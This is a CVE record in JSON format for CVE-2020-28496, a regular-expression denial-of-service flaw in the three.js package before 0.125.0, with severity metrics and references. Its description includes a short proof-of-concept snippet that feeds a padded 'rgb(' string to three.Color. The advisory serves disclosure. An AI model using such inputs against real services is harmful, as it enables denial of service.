{"containers":{"cna":{"affected":[{"product":"three","vendor":"n/a","versions":[{"lessThan":"0.125.0","status":"affected","version":"unspecified","versionType":"custom"}]}],"credits":[{"lang":"en","value":"Yeting Li"},{"lang":"en","value":"Liyuan Chen"}],"datePublic":"2021-02-18T00:00:00.000Z","descriptions":[{"lang":"en","value":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")"}],"metrics":[{"cvssV3_1":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":7.5,"baseSeverity":"HIGH","confidentialityImpact":"NONE","integrityImpact":"NONE","privilegesRequired":"NONE","scope":"UNCHANGED","userInteraction":"NONE","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","version":"3.1"}}],"problemTypes":[{"descriptions":[{"description":"Regular Expression Denial of Service (ReDoS)","lang":"en","type":"text"}]}],"providerMetadata":{"dateUpdated":"2021-02-18T14:20:21.000Z","orgId":"bae035ff-b466-4ff4-94d0-fc9efd9e1730","shortName":"snyk"},"references":[{"tags":["x_refsource_MISC"],"url":"https://snyk.io/vuln/SNYK-JS-THREE-1064931"},{"tags":["x_refsource_MISC"],"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"},{"tags":["x_refsource_MISC"],"url":"https://github.com/mrdoob/three.js/issues/21132"},{"tags":["x_refsource_MISC"],"url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"}],"title":"Regular Expression Denial of Service (ReDoS)","x_legacyV4Record":{"CVE_data_meta":{"ASSIGNER":"report@snyk.io","DATE_PUBLIC":"2021-02-18T14:18:29.728676Z","ID":"CVE-2020-28496","STATE":"PUBLIC","TITLE":"Regular Expression Denial of Service (ReDoS)"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"three","version":{"version_data":[{"version_affected":"<","version_value":"0.125.0"}]}}]},"vendor_name":"n/a"}]}},"credit":[{"lang":"eng","value":"Yeting Li"},{"lang":"eng","value":"Liyuan Chen"}],"data_format":"MITRE","data_type":"CVE","data_version":"4.0","description":{"description_data":[{"lang":"eng","value":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")"}]},"impact":{"cvss":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":7.5,"baseSeverity":"HIGH","confidentialityImpact":"NONE","integrityImpact":"NONE","privilegesRequired":"NONE","scope":"UNCHANGED","userInteraction":"NONE","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","version":"3.1"}},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"Regular Expression Denial of Service (ReDoS)"}]}]},"references":{"reference_data":[{"name":"https://snyk.io/vuln/SNYK-JS-THREE-1064931","refsource":"MISC","url":"https://snyk.io/vuln/SNYK-JS-THREE-1064931"},{"name":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972","refsource":"MISC","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"},{"name":"https://github.com/mrdoob/three.js/issues/21132","refsource":"MISC","url":"https://github.com/mrdoob/three.js/issues/21132"},{"name":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e","refsource":"MISC","url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"}]}}},"adp":[{"providerMetadata":{"orgId":"af854a3a-2127-422b-91ae-364da2661108","shortName":"CVE","dateUpdated":"2024-08-04T16:40:59.566Z"},"title":"CVE Program Container","references":[{"tags":["x_refsource_MISC","x_transferred"],"url":"https://snyk.io/vuln/SNYK-JS-THREE-1064931"},{"tags":["x_refsource_MISC","x_transferred"],"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"},{"tags":["x_refsource_MISC","x_transferred"],"url":"https://github.com/mrdoob/three.js/issues/21132"},{"tags":["x_refsource_MISC","x_transferred"],"url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"}]}]},"cveMetadata":{"assignerOrgId":"bae035ff-b466-4ff4-94d0-fc9efd9e1730","assignerShortName":"snyk","cveId":"CVE-2020-28496","datePublished":"2021-02-18T14:20:22.065Z","dateReserved":"2020-11-12T00:00:00.000Z","dateUpdated":"2024-09-17T01:01:31.663Z","state":"PUBLISHED"},"dataType":"CVE_RECORD","dataVersion":"5.1"}